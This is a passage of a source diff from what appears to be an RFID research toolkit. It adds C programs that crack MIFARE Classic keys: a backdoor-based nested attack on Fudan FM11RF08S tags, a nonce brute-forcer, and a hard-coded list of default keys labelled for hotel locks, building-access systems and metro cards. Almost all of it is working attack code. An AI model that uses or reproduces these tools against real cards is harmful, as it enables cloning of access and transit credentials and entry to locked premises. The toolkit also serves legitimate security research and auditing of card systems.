uint32_t filter_keycount2 = 0;
|
||||
snprintf(filter_filename2, sizeof(filter_filename2), "keys_%08x_%02i_%08x_filtered.dic", uid2, sector2, nt2);
|
||||
fptr = fopen(filter_filename2, "w");
|
||||
if (fptr != NULL) {
|
||||
for (uint32_t j = 0; j < keycount2; j++) {
|
||||
if (filter_keys2[j]) {
|
||||
filter_keycount2++;
|
||||
fprintf(fptr, "%012" PRIx64 "\n", keys2[j]);
|
||||
}
|
||||
}
|
||||
fclose(fptr);
|
||||
} else {
|
||||
fprintf(stderr, "Warning: Cannot save keys in %s\n", filter_filename2);
|
||||
}
|
||||
printf("%s: %i keys saved\n", filter_filename1, filter_keycount1);
|
||||
printf("%s: %i keys saved\n", filter_filename2, filter_keycount2);
|
||||
|
||||
end:
|
||||
if (keys1 != NULL)
|
||||
free(keys1);
|
||||
if (keys2 != NULL)
|
||||
free(keys2);
|
||||
if (filter_keys1 != NULL)
|
||||
free(filter_keys1);
|
||||
if (filter_keys2 != NULL)
|
||||
free(filter_keys2);
|
||||
if (seednt1 != NULL)
|
||||
free(seednt1);
|
||||
|
||||
return 0;
|
||||
}
|
151
tools/mfc/card_only/staticnested_2x1nt_rf08s_1key.c
Normal file
151
tools/mfc/card_only/staticnested_2x1nt_rf08s_1key.c
Normal file
|
@ -0,0 +1,151 @@
|
|||
// Faster Backdoored Nested Attack against Fudan FM11RF08S tags, part 2
|
||||
//
|
||||
// Attack conditions:
|
||||
// * Backdoor
|
||||
// * keyA and keyB are different for the targeted sector
|
||||
//
|
||||
// Strategy:
|
||||
// * Use f08s_nested_known_collision to crack keyA
|
||||
// * If keyB not readable, find keyB in its dictionary based on the obscure relationship between keyA, keyB and their nT
|
||||
//
|
||||
// Doegox, 2024
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdbool.h>
|
||||
#include <string.h>
|
||||
#include <inttypes.h>
|
||||
|
||||
static uint32_t hex_to_uint32(const char *hex_str) {
|
||||
return (uint32_t)strtoul(hex_str, NULL, 16);
|
||||
}
|
||||
|
||||
uint16_t i_lfsr16[1 << 16] = {0};
|
||||
uint16_t s_lfsr16[1 << 16] = {0};
|
||||
|
||||
static void init_lfsr16_table(void) {
|
||||
uint16_t x = 1;
|
||||
for (uint16_t i=1; i; ++i) {
|
||||
i_lfsr16[(x & 0xff) << 8 | x >> 8] = i;
|
||||
s_lfsr16[i] = (x & 0xff) << 8 | x >> 8;
|
||||
x = x >> 1 | (x ^ x >> 2 ^ x >> 3 ^ x >> 5) << 15;
|
||||
}
|
||||
}
|
||||
|
||||
// static uint16_t next_lfsr16(uint16_t nonce) {
|
||||
// return s_lfsr16[(i_lfsr16[nonce]+1) % 65535];
|
||||
// }
|
||||
|
||||
static uint16_t prev_lfsr16(uint16_t nonce) {
|
||||
return s_lfsr16[(i_lfsr16[nonce]-1) % 65535];
|
||||
}
|
||||
|
||||
static uint16_t compute_seednt16_nt32(uint32_t nt32, uint64_t key) {
|
||||
uint8_t a[] = {0, 8, 9, 4, 6, 11, 1, 15, 12, 5, 2, 13, 10, 14, 3, 7};
|
||||
uint8_t b[] = {0, 13, 1, 14, 4, 10, 15, 7, 5, 3, 8, 6, 9, 2, 12, 11};
|
||||
uint16_t nt = nt32 >> 16;
|
||||
uint8_t prev = 14;
|
||||
for (uint8_t i=0; i<prev; i++) {
|
||||
nt = prev_lfsr16(nt);
|
||||
}
|
||||
uint8_t prevoff = 8;
|
||||
bool odd = 1;
|
||||
|
||||
for (uint8_t i=0; i<6*8; i+=8) {
|
||||
if (odd) {
|
||||
nt ^= (a[(key >> i) & 0xF]);
|
||||
nt ^= (b[(key >> i >> 4) & 0xF]) << 4;
|
||||
} else {
|
||||
nt ^= (b[(key >> i) & 0xF]);
|
||||
nt ^= (a[(key >> i >> 4) & 0xF]) << 4;
|
||||
}
|
||||
odd ^= 1;
|
||||
prev += prevoff;
|
||||
for (uint8_t j=0; j<prevoff; j++) {
|
||||
nt = prev_lfsr16(nt);
|
||||
}
|
||||
}
|
||||
return nt;
|
||||
}
|
||||
|
||||
int main(int argc, char *const argv[]) {
|
||||
if (argc != 4) {
|
||||
printf("Usage:\n %s <nt1:08x> <key1:012x> keys_<uid:08x>_<sector:02>_<nt2:08x>.dic\n"
|
||||
" where dict file is produced by rf08s_nested_known *for the same UID and same sector* as provided nt and key\n",
|
||||
argv[0]);
|
||||
return 1;
|
||||
}
|
||||
uint32_t nt1 = hex_to_uint32(argv[1]);
|
||||
uint64_t key1 = 0;
|
||||
if (sscanf(argv[2], "%012" PRIx64, &key1) != 1) {
|
||||
fprintf(stderr, "Failed to parse key: %s", argv[2]);
|
||||
return 1;
|
||||
}
|
||||
|
||||
char *filename= argv[3];
|
||||
uint32_t uid, sector, nt2;
|
||||
|
||||
int result;
|
||||
result = sscanf(filename, "keys_%8x_%2d_%8x.dic", &uid, §or, &nt2);
|
||||
if (result != 3) {
|
||||
fprintf(stderr, "Error: Failed to parse the filename %s.\n", filename);
|
||||
return 1;
|
||||
}
|
||||
if (nt1 == nt2) {
|
||||
fprintf(stderr, "Error: File must belong to different nonce.\n");
|
||||
return 1;
|
||||
}
|
||||
|
||||
init_lfsr16_table();
|
||||
|
||||
uint32_t keycount2 = 0;
|
||||
uint64_t* keys2 = NULL;
|
||||
|
||||
FILE* fptr = fopen(filename, "r");
|
||||
if (fptr != NULL) {
|
||||
uint64_t buffer;
|
||||
while (fscanf(fptr, "%012" PRIx64, &buffer) == 1) {
|
||||
keycount2++;
|
||||
}
|
||||
|
||||
keys2 = (uint64_t*)malloc(keycount2 * sizeof(uint64_t));
|
||||
if (keys2 == NULL) {
|
||||
perror("Failed to allocate memory");
|
||||
fclose(fptr);
|
||||
goto end;
|
||||
}
|
||||
rewind(fptr);
|
||||
|
||||
for (uint32_t i = 0; i < keycount2; i++) {
|
||||
if (fscanf(fptr, "%012" PRIx64, &keys2[i]) != 1) {
|
||||
perror("Failed to read key");
|
||||
fclose(fptr);
|
||||
goto end;
|
||||
}
|
||||
}
|
||||
fclose(fptr);
|
||||
} else {
|
||||
fprintf(stderr, "Warning: Cannot open %s\n", filename);
|
||||
goto end;
|
||||
}
|
||||
|
||||
printf("%s: %i keys loaded\n", filename, keycount2);
|
||||
|
||||
uint32_t found = 0;
|
||||
uint16_t seednt1 = compute_seednt16_nt32(nt1, key1);
|
||||
for (uint32_t i = 0; i < keycount2; i++) {
|
||||
if (seednt1 == compute_seednt16_nt32(nt2, keys2[i])) {
|
||||
printf("MATCH: key2=%012" PRIx64 "\n", keys2[i]);
|
||||
found++;
|
||||
}
|
||||
}
|
||||
if (!found) {
|
||||
printf("No key found :(\n");
|
||||
}
|
||||
|
||||
end:
|
||||
if (keys2 != NULL)
|
||||
free(keys2);
|
||||
|
||||
return 0;
|
||||
}
|
10
tools/mfc/card_reader/.gitignore
vendored
Normal file
10
tools/mfc/card_reader/.gitignore
vendored
Normal file
|
@ -0,0 +1,10 @@
|
|||
mfkey32
|
||||
mfkey32v2
|
||||
mfkey64
|
||||
mf_nonce_brute
|
||||
mf_trace_brute
|
||||
mfkey32.exe
|
||||
mfkey32v2.exe
|
||||
mfkey64.exe
|
||||
mf_nonce_brute.exe
|
||||
mf_trace_brute.exe
|
33
tools/mfc/card_reader/Makefile
Normal file
33
tools/mfc/card_reader/Makefile
Normal file
|
@ -0,0 +1,33 @@
|
|||
ROOTPATH = ../../..
|
||||
MYSRCPATHS = $(ROOTPATH)/common $(ROOTPATH)/common/crapto1
|
||||
MYSRCS = crypto1.c crapto1.c bucketsort.c iso14443crc.c sleep.c util_posix.c
|
||||
MYINCLUDES = -I$(ROOTPATH)/include -I$(ROOTPATH)/common
|
||||
MYCFLAGS = -O3
|
||||
MYDEFS =
|
||||
MYLDLIBS =
|
||||
ifneq ($(SKIPPTHREAD),1)
|
||||
MYLDLIBS += -lpthread
|
||||
endif
|
||||
|
||||
BINS = mfkey32 mfkey32v2 mfkey64 mf_nonce_brute mf_trace_brute
|
||||
INSTALLTOOLS = $(BINS)
|
||||
|
||||
include $(ROOTPATH)/Makefile.host
|
||||
|
||||
# checking platform can be done only after Makefile.host
|
||||
ifneq (,$(findstring MINGW,$(platform)))
|
||||
# Mingw uses by default Microsoft printf, we want the GNU printf (e.g. for %z)
|
||||
# and setting _ISOC99_SOURCE sets internally __USE_MINGW_ANSI_STDIO=1
|
||||
CFLAGS += -D_ISOC99_SOURCE
|
||||
endif
|
||||
|
||||
# macOS doesn't like these compiler params
|
||||
ifneq ($(platform),Darwin)
|
||||
MYCFLAGS += --param max-completely-peeled-insns=1000 --param max-completely-peel-times=10000
|
||||
endif
|
||||
|
||||
mfkey32 : $(OBJDIR)/mfkey32.o $(MYOBJS)
|
||||
mfkey32v2 : $(OBJDIR)/mfkey32v2.o $(MYOBJS)
|
||||
mfkey64 : $(OBJDIR)/mfkey64.o $(MYOBJS)
|
||||
mf_nonce_brute : $(OBJDIR)/mf_nonce_brute.o $(MYOBJS)
|
||||
mf_trace_brute : $(OBJDIR)/mf_trace_brute.o $(MYOBJS)
|
45
tools/mfc/card_reader/iso14443crc.c
Normal file
45
tools/mfc/card_reader/iso14443crc.c
Normal file
|
@ -0,0 +1,45 @@
|
|||
//-----------------------------------------------------------------------------
|
||||
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
|
||||
// at your option, any later version. See the LICENSE.txt file for the text of
|
||||
// the license.
|
||||
//-----------------------------------------------------------------------------
|
||||
// ISO14443 CRC calculation code.
|
||||
//-----------------------------------------------------------------------------
|
||||
|
||||
#include "iso14443crc.h"
|
||||
|
||||
static unsigned short UpdateCrc14443(unsigned char ch, unsigned short *lpwCrc) {
|
||||
ch = (ch ^ (unsigned char)((*lpwCrc) & 0x00FF));
|
||||
ch = (ch ^ (ch << 4));
|
||||
*lpwCrc = (*lpwCrc >> 8) ^ ((unsigned short) ch << 8) ^
|
||||
((unsigned short) ch << 3) ^ ((unsigned short) ch >> 4);
|
||||
return (*lpwCrc);
|
||||
}
|
||||
|
||||
void ComputeCrc14443(int CrcType,
|
||||
const unsigned char *Data, int Length,
|
||||
unsigned char *TransmitFirst,
|
||||
unsigned char *TransmitSecond) {
|
||||
unsigned short wCrc = CrcType;
|
||||
|
||||
do {
|
||||
unsigned char chBlock = *Data++;
|
||||
UpdateCrc14443(chBlock, &wCrc);
|
||||
} while (--Length);
|
||||
|
||||
if (CrcType == CRC_14443_B)
|
||||
wCrc = ~wCrc; /* ISO/IEC 13239 (formerly ISO/IEC 3309) */
|
||||
|
||||
*TransmitFirst = (unsigned char)(wCrc & 0xFF);
|
||||
*TransmitSecond = (unsigned char)((wCrc >> 8) & 0xFF);
|
||||
return;
|
||||
}
|
||||
|
||||
int CheckCrc14443(int CrcType, const unsigned char *Data, int Length) {
|
||||
unsigned char b1;
|
||||
unsigned char b2;
|
||||
if (Length < 3) return 0;
|
||||
ComputeCrc14443(CrcType, Data, Length - 2, &b1, &b2);
|
||||
if ((b1 == Data[Length - 2]) && (b2 == Data[Length - 1])) return 1;
|
||||
return 0;
|
||||
}
|
26
tools/mfc/card_reader/iso14443crc.h
Normal file
26
tools/mfc/card_reader/iso14443crc.h
Normal file
|
@ -0,0 +1,26 @@
|
|||
//-----------------------------------------------------------------------------
|
||||
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
|
||||
// at your option, any later version. See the LICENSE.txt file for the text of
|
||||
// the license.
|
||||
//-----------------------------------------------------------------------------
|
||||
// ISO14443 CRC calculation code.
|
||||
//-----------------------------------------------------------------------------
|
||||
|
||||
#ifndef __ISO14443CRC_H
|
||||
#define __ISO14443CRC_H
|
||||
|
||||
//-----------------------------------------------------------------------------
|
||||
// Routines to compute the CRCs (two different flavours, just for confusion)
|
||||
// required for ISO 14443, swiped directly from the spec.
|
||||
//-----------------------------------------------------------------------------
|
||||
#define CRC_14443_A 0x6363 /* ITU-V.41 */
|
||||
#define CRC_14443_B 0xFFFF /* ISO/IEC 13239 (formerly ISO/IEC 3309) */
|
||||
#define CRC_ICLASS 0xE012 /* ICLASS PREFIX */
|
||||
|
||||
void ComputeCrc14443(int CrcType,
|
||||
const unsigned char *Data, int Length,
|
||||
unsigned char *TransmitFirst,
|
||||
unsigned char *TransmitSecond);
|
||||
int CheckCrc14443(int CrcType, const unsigned char *Data, int Length);
|
||||
|
||||
#endif
|
847
tools/mfc/card_reader/mf_nonce_brute.c
Normal file
847
tools/mfc/card_reader/mf_nonce_brute.c
Normal file
|
@ -0,0 +1,847 @@
|
|||
#define __STDC_FORMAT_MACROS
|
||||
|
||||
#include <inttypes.h>
|
||||
#include <stdio.h>
|
||||
#include <stdbool.h>
|
||||
#include <string.h>
|
||||
#include <pthread.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
#include <ctype.h>
|
||||
#include "crapto1/crapto1.h"
|
||||
#include "protocol.h"
|
||||
#include "iso14443crc.h"
|
||||
#include "util_posix.h"
|
||||
|
||||
#define AEND "\x1b[0m"
|
||||
#define _RED_(s) "\x1b[31m" s AEND
|
||||
#define _GREEN_(s) "\x1b[32m" s AEND
|
||||
#define _YELLOW_(s) "\x1b[33m" s AEND
|
||||
#define _CYAN_(s) "\x1b[36m" s AEND
|
||||
|
||||
#define odd_parity(i) (( (i) ^ (i)>>1 ^ (i)>>2 ^ (i)>>3 ^ (i)>>4 ^ (i)>>5 ^ (i)>>6 ^ (i)>>7 ^ 1) & 0x01)
|
||||
#define ARRAYLEN(x) (sizeof(x) / sizeof((x)[0]))
|
||||
|
||||
// a global mutex to prevent interlaced printing from different threads
|
||||
pthread_mutex_t print_lock;
|
||||
|
||||
//--------------------- define options here
|
||||
uint32_t uid = 0; // serial number
|
||||
uint32_t nt_enc = 0; // Encrypted tag nonce
|
||||
uint32_t nr_enc = 0; // encrypted reader challenge
|
||||
uint32_t ar_enc = 0; // encrypted reader response
|
||||
uint32_t at_enc = 0; // encrypted tag response
|
||||
uint32_t cmd_enc = 0; // next encrypted command to sector
|
||||
|
||||
uint32_t nt_par_err = 0;
|
||||
uint32_t ar_par_err = 0;
|
||||
uint32_t at_par_err = 0;
|
||||
|
||||
typedef struct thread_args {
|
||||
uint16_t xored;
|
||||
int thread;
|
||||
int idx;
|
||||
bool ev1;
|
||||
} targs;
|
||||
|
||||
#define ENC_LEN (200)
|
||||
typedef struct thread_key_args {
|
||||
int thread;
|
||||
int idx;
|
||||
uint32_t uid;
|
||||
uint32_t part_key;
|
||||
uint32_t nt_enc;
|
||||
uint32_t nr_enc;
|
||||
uint16_t enc_len;
|
||||
uint8_t enc[ENC_LEN]; // next encrypted command + a full read/write
|
||||
} targs_key;
|
||||
|
||||
//------------------------------------------------------------------
|
||||
|
||||
uint8_t cmds[8][2] = {
|
||||
{ISO14443A_CMD_READBLOCK, 18},
|
||||
{ISO14443A_CMD_WRITEBLOCK, 18},
|
||||
{MIFARE_AUTH_KEYA, 0},
|
||||
{MIFARE_AUTH_KEYB, 0},
|
||||
{MIFARE_CMD_INC, 6},
|
||||
{MIFARE_CMD_DEC, 6},
|
||||
{MIFARE_CMD_RESTORE, 6},
|
||||
{MIFARE_CMD_TRANSFER, 0}
|
||||
};
|
||||
|
||||
static const uint64_t g_mifare_default_keys[] = {
|
||||
0xffffffffffff, // Default key (first key used by program if no user defined key)
|
||||
0xa0a1a2a3a4a5, // NFCForum MAD key
|
||||
0xd3f7d3f7d3f7, // NDEF public key
|
||||
0x4b791bea7bcc, // MFC EV1 Signature 17 B
|
||||
0x5C8FF9990DA2, // MFC EV1 Signature 16 A
|
||||
0xD01AFEEB890A, // MFC EV1 Signature 16 B
|
||||
0x75CCB59C9BED, // MFC EV1 Signature 17 A
|
||||
0xfc00018778f7, // Public Transport
|
||||
0x6471a5ef2d1a, // SimonsVoss
|
||||
0x4E3552426B32, // ID06
|
||||
0x6A1987C40A21, // Salto
|
||||
0xef1232ab18a0, // Schlage
|
||||
0x3B7E4FD575AD, //
|
||||
0xb7bf0c13066e, // Gallagher
|
||||
0x135b88a94b8b, // Saflok
|
||||
0x2A2C13CC242A, // Dorma Kaba
|
||||
0x5a7a52d5e20d, // Bosch
|
||||
0x314B49474956, // VIGIK1 A
|
||||
0x564c505f4d41, // VIGIK1 B
|
||||
0x021209197591, // BTCINO
|
||||
0x484558414354, // Intratone
|
||||
0xEC0A9B1A9E06, // Vingcard
|
||||
0x66b31e64ca4b, // Vingcard
|
||||
0x97F5DA640B18, // Bangkok metro key
|
||||
0xA8844B0BCA06, // Metro Valencia key
|
||||
0xE4410EF8ED2D, // Armenian metro
|
||||
0x857464D3AAD1, // HTC Eindhoven key
|
||||
0x08B386463229, // troika
|
||||
0xe00000000000, // icopy
|
||||
0x199404281970, // NSP A
|
||||
0x199404281998, // NSP B
|
||||
0x6A1987C40A21, // SALTO
|
||||
0x7F33625BC129, // SALTO
|
||||
0x484944204953, // HID
|
||||
0x204752454154, // HID
|
||||
0x3B7E4FD575AD, // HID
|
||||
0x11496F97752A, // HID
|
||||
0x3E65E4FB65B3, // Gym
|
||||
0x000000000000, // Blank key
|
||||
0xb0b1b2b3b4b5,
|
||||
0xaabbccddeeff,
|
||||
0x1a2b3c4d5e6f,
|
||||
0x123456789abc,
|
||||
0x010203040506,
|
||||
0x123456abcdef,
|
||||
0xabcdef123456,
|
||||
0x4d3a99c351dd,
|
||||
0x1a982c7e459a,
|
||||
0x714c5c886e97,
|
||||
0x587ee5f9350f,
|
||||
0xa0478cc39091,
|
||||
0x533cb6c723f6,
|
||||
0x8fd0a4f256e9,
|
||||
0x0000014b5c31,
|
||||
0xb578f38a5c61,
|
||||
0x96a301bce267,
|
||||
};
|
||||
|
||||
|
||||
//static int global_counter = 0;
|
||||
static int global_found = 0;
|
||||
static int global_found_candidate = 0;
|
||||
static uint64_t global_candidate_key = 0;
|
||||
static int thread_count = 2;
|
||||
|
||||
static int param_getptr(const char *line, int *bg, int *en, int paramnum) {
|
||||
int i;
|
||||
int len = strlen(line);
|
||||
|
||||
*bg = 0;
|
||||
*en = 0;
|
||||
|
||||
// skip spaces
|
||||
while (line[*bg] == ' ' || line[*bg] == '\t')(*bg)++;
|
||||
if (*bg >= len) {
|
||||
return 1;
|
||||
}
|
||||
|
||||
for (i = 0; i < paramnum; i++) {
|
||||
while (line[*bg] != ' ' && line[*bg] != '\t' && line[*bg] != '\0')(*bg)++;
|
||||
while (line[*bg] == ' ' || line[*bg] == '\t')(*bg)++;
|
||||
|
||||
if (line[*bg] == '\0') return 1;
|
||||
}
|
||||
|
||||
*en = *bg;
|
||||
while (line[*en] != ' ' && line[*en] != '\t' && line[*en] != '\0')(*en)++;
|
||||
|
||||
(*en)--;
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
static int param_gethex_to_eol(const char *line, int paramnum, uint8_t *data, int maxdatalen, int *datalen) {
|
||||
int bg, en;
|
||||
uint32_t temp;
|
||||
char buf[5] = {0};
|
||||
|
||||
if (param_getptr(line, &bg, &en, paramnum)) return 1;
|
||||
|
||||
*datalen = 0;
|
||||
|
||||
int indx = bg;
|
||||
while (line[indx]) {
|
||||
if (line[indx] == '\t' || line[indx] == ' ') {
|
||||
indx++;
|
||||
continue;
|
||||
}
|
||||
|
||||
if (isxdigit(line[indx])) {
|
||||
buf[strlen(buf) + 1] = 0x00;
|
||||
buf[strlen(buf)] = line[indx];
|
||||
} else {
|
||||
// if we have symbols other than spaces and hex
|
||||
return 1;
|
||||
}
|
||||
|
||||
if (*datalen >= maxdatalen) {
|
||||
// if we don't have space in buffer and have symbols to translate
|
||||
return 2;
|
||||
}
|
||||
|
||||
if (strlen(buf) >= 2) {
|
||||
sscanf(buf, "%x", &temp);
|
||||
data[*datalen] = (uint8_t)(temp & 0xff);
|
||||
*buf = 0;
|
||||
(*datalen)++;
|
||||
}
|
||||
|
||||
indx++;
|
||||
}
|
||||
|
||||
if (strlen(buf) > 0)
|
||||
//error when not completed hex bytes
|
||||
return 3;
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
static void hex_to_buffer(const uint8_t *buf, const uint8_t *hex_data, const size_t hex_len, const size_t hex_max_len,
|
||||
const size_t min_str_len, const size_t spaces_between, bool uppercase) {
|
||||
|
||||
if (buf == NULL) return;
|
||||
|
||||
char *tmp_base = (char *)buf;
|
||||
char *tmp = tmp_base;
|
||||
size_t i;
|
||||
|
||||
size_t max_len = (hex_len > hex_max_len) ? hex_max_len : hex_len;
|
||||
|
||||
for (i = 0; i < max_len; ++i, tmp += 2 + spaces_between) {
|
||||
snprintf(tmp, hex_max_len - (tmp - tmp_base), (uppercase) ? "%02X" : "%02x", (unsigned int) hex_data[i]);
|
||||
|
||||
for (size_t j = 0; j < spaces_between; j++)
|
||||
snprintf(tmp + 2 + j, hex_max_len - (2 + j + (tmp - tmp_base)), " ");
|
||||
}
|
||||
|
||||
i *= (2 + spaces_between);
|
||||
|
||||
size_t mlen = min_str_len > i ? min_str_len : 0;
|
||||
if (mlen > hex_max_len)
|
||||
mlen = hex_max_len;
|
||||
|
||||
for (; i < mlen; i++, tmp += 1)
|
||||
snprintf(tmp, hex_max_len - (tmp - tmp_base), " ");
|
||||
|
||||
// remove last space
|
||||
*tmp = '\0';
|
||||
}
|
||||
|
||||
static char *sprint_hex_inrow_ex(const uint8_t *data, const size_t len, const size_t min_str_len) {
|
||||
static char buf[100] = {0};
|
||||
hex_to_buffer((uint8_t *)buf, data, len, sizeof(buf) - 1, min_str_len, 0, true);
|
||||
return buf;
|
||||
}
|
||||
|
||||
static uint16_t parity_from_err(uint32_t data, uint16_t par_err) {
|
||||
|
||||
uint16_t par = 0;
|
||||
par |= odd_parity((data >> 24) & 0xFF) ^ ((par_err >> 12) & 1);
|
||||
par <<= 4;
|
||||
|
||||
par |= odd_parity((data >> 16) & 0xFF) ^ ((par_err >> 8) & 1);
|
||||
par <<= 4;
|
||||
|
||||
par |= odd_parity((data >> 8) & 0xFF) ^ ((par_err >> 4) & 1);
|
||||
par <<= 4;
|
||||
|
||||
par |= odd_parity(data & 0xFF) ^ (par_err & 1);
|
||||
return par;
|
||||
}
|
||||
|
||||
static uint16_t xored_bits(uint16_t nt_par, uint32_t ntenc, uint16_t ar_par, uint32_t arenc, uint16_t at_par, uint32_t atenc) {
|
||||
|
||||
uint16_t xored = 0;
|
||||
uint8_t par;
|
||||
|
||||
//1st (1st nt)
|
||||
par = (nt_par >> 12) & 1;
|
||||
xored |= par ^ ((ntenc >> 16) & 1);
|
||||
xored <<= 1;
|
||||
|
||||
//2nd (2nd nt)
|
||||
par = (nt_par >> 8) & 1;
|
||||
xored |= par ^ ((ntenc >> 8) & 1);
|
||||
xored <<= 1;
|
||||
|
||||
//3rd (3rd nt)
|
||||
par = (nt_par >> 4) & 1;
|
||||
xored |= par ^ (ntenc & 1);
|
||||
xored <<= 1;
|
||||
|
||||
//4th (1st ar)
|
||||
par = (ar_par >> 12) & 1;
|
||||
xored |= par ^ ((arenc >> 16) & 1);
|
||||
xored <<= 1;
|
||||
|
||||
//5th (2nd ar)
|
||||
par = (ar_par >> 8) & 1;
|
||||
xored |= par ^ ((arenc >> 8) & 1);
|
||||
xored <<= 1;
|
||||
|
||||
//6th (3rd ar)
|
||||
par = (ar_par >> 4) & 1;
|
||||
xored |= par ^ (arenc & 1);
|
||||
xored <<= 1;
|
||||
|
||||
//7th (4th ar)
|
||||
par = ar_par & 1;
|
||||
xored |= par ^ ((atenc >> 24) & 1);
|
||||
xored <<= 1;
|
||||
|
||||
//8th (1st at)
|
||||
par = (at_par >> 12) & 1;
|
||||
xored |= par ^ ((atenc >> 16) & 1);
|
||||
xored <<= 1;
|
||||
|
||||
//9th (2nd at)
|
||||
par = (at_par >> 8) & 1;
|
||||
xored |= par ^ ((atenc >> 8) & 1);
|
||||
xored <<= 1;
|
||||
|
||||
//10th (3rd at)
|
||||
par = (at_par >> 4) & 1;
|
||||
xored |= par ^ (atenc & 1);
|
||||
|
||||
return xored;
|
||||
}
|
||||
|
||||
static bool candidate_nonce(uint32_t xored, uint32_t nt, bool ev1) {
|
||||
uint8_t byte;
|
||||
|
||||
if (!ev1) {
|
||||
// 1st (1st nt)
|
||||
byte = (nt >> 24) & 0xFF;
|
||||
if (odd_parity(byte) ^ ((nt >> 16) & 1) ^ ((xored >> 9) & 1)) {
|
||||
return false;
|
||||
}
|
||||
|
||||
// 2nd (2nd nt)
|
||||
byte = (nt >> 16) & 0xFF;
|
||||
if (odd_parity(byte) ^ ((nt >> 8) & 1) ^ ((xored >> 8) & 1)) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
// 3rd (3rd nt)
|
||||
byte = (nt >> 8) & 0xFF;
|
||||
if (odd_parity(byte) ^ (nt & 1) ^ ((xored >> 7) & 1)) {
|
||||
return false;
|
||||
}
|
||||
|
||||
uint32_t ar = prng_successor(nt, 64);
|
||||
|
||||
// 4th (1st ar)
|
||||
byte = (ar >> 24) & 0xFF;
|
||||
if (odd_parity(byte) ^ ((ar >> 16) & 1) ^ ((xored >> 6) & 1)) {
|
||||
return false;
|
||||
}
|
||||
|
||||
// 5th (2nd ar)
|
||||
byte = (ar >> 16) & 0x0FF;
|
||||
if (odd_parity(byte) ^ ((ar >> 8) & 1) ^ ((xored >> 5) & 1)) {
|
||||
return false;
|
||||
}
|
||||
|
||||
// 6th (3rd ar)
|
||||
byte = (ar >> 8) & 0xFF;
|
||||
if (odd_parity(byte) ^ (ar & 1) ^ ((xored >> 4) & 1)) {
|
||||
return false;
|
||||
}
|
||||
|
||||
uint32_t at = prng_successor(nt, 96);
|
||||
|
||||
// 7th (4th ar)
|
||||
byte = ar & 0xFF;
|
||||
if (odd_parity(byte) ^ ((at >> 24) & 1) ^ ((xored >> 3) & 1)) {
|
||||
return false;
|
||||
}
|
||||
|
||||
// 8th (1st at)
|
||||
byte = (at >> 24) & 0xFF;
|
||||
if (odd_parity(byte) ^ ((at >> 16) & 1) ^ ((xored >> 2) & 1)) {
|
||||
return false;
|
||||
}
|
||||
|
||||
// 9th (2nd at)
|
||||
byte = (at >> 16) & 0xFF;
|
||||
if (odd_parity(byte) ^ ((at >> 8) & 1) ^ ((xored >> 1) & 1)) {
|
||||
return false;
|
||||
}
|
||||
|
||||
// 10th (3rd at)
|
||||
byte = (at >> 8) & 0xFF;
|
||||
if (odd_parity(byte) ^ (at & 1) ^ (xored & 1)) {
|
||||
return false;
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
static bool checkValidCmd(uint32_t decrypted) {
|
||||
uint8_t cmd = (decrypted >> 24) & 0xFF;
|
||||
for (int i = 0; i < 8; ++i) {
|
||||
if (cmd == cmds[i][0]) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
static bool checkValidCmdByte(uint8_t *cmd, uint16_t n) {
|
||||
// if we don't have enough data then this might be a false positive
|
||||
|
||||
if (cmd == NULL) {
|
||||
return false;
|
||||
}
|
||||
|
||||
for (int i = 0; i < 8; ++i) {
|
||||
if (cmd[0] == cmds[i][0]) {
|
||||
|
||||
int res = 0;
|
||||
|
||||
if (n >= 4) {
|
||||
res = CheckCrc14443(CRC_14443_A, cmd, 4);
|
||||
}
|
||||
|
||||
if (res == 0 && cmds[i][1] > 0 && n >= cmds[i][1]) {
|
||||
res = CheckCrc14443(CRC_14443_A, cmd, cmds[i][1]);
|
||||
}
|
||||
|
||||
if (res) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
static bool checkCRC(uint32_t decrypted) {
|
||||
uint8_t data[] = {
|
||||
(decrypted >> 24) & 0xFF,
|
||||
(decrypted >> 16) & 0xFF,
|
||||
(decrypted >> 8) & 0xFF,
|
||||
decrypted & 0xFF
|
||||
};
|
||||
return CheckCrc14443(CRC_14443_A, data, sizeof(data));
|
||||
}
|
||||
|
||||
static void *check_default_keys(void *arguments) {
|
||||
struct thread_key_args *args = (struct thread_key_args *) arguments;
|
||||
uint8_t local_enc[args->enc_len];
|
||||
memcpy(local_enc, args->enc, args->enc_len);
|
||||
|
||||
for (uint8_t i = 0; i < ARRAYLEN(g_mifare_default_keys); i++) {
|
||||
|
||||
uint64_t key = g_mifare_default_keys[i];
|
||||
|
||||
// Init cipher with key
|
||||
struct Crypto1State *pcs = crypto1_create(key);
|
||||
|
||||
// NESTED decrypt nt with help of new key
|
||||
crypto1_word(pcs, args->nt_enc ^ args->uid, 1);
|
||||
crypto1_word(pcs, args->nr_enc, 1);
|
||||
crypto1_word(pcs, 0, 0);
|
||||
crypto1_word(pcs, 0, 0);
|
||||
|
||||
// decrypt bytes
|
||||
uint8_t dec[args->enc_len];
|
||||
for (int j = 0; j < args->enc_len; j++) {
|
||||
dec[j] = crypto1_byte(pcs, 0x00, 0) ^ local_enc[j];
|
||||
}
|
||||
crypto1_destroy(pcs);
|
||||
|
||||
// check if cmd exists
|
||||
bool res = checkValidCmdByte(dec, args->enc_len);
|
||||
if (args->enc_len > 4) {
|
||||
res |= checkValidCmdByte(dec + 4, args->enc_len - 4);
|
||||
}
|
||||
|
||||
if (res == false) {
|
||||
continue;
|
||||
}
|
||||
|
||||
__sync_fetch_and_add(&global_found, 1);
|
||||
|
||||
pthread_mutex_lock(&print_lock);
|
||||
printf("\nFound a default key!\n");
|
||||
printf("enc: %s\n", sprint_hex_inrow_ex(local_enc, args->enc_len, 0));
|
||||
printf("dec: %s\n", sprint_hex_inrow_ex(dec, args->enc_len, 0));
|
||||
printf("\nValid Key found [ " _GREEN_("%012" PRIx64) " ]\n\n", key);
|
||||
pthread_mutex_unlock(&print_lock);
|
||||
break;
|
||||
}
|
||||
free(args);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
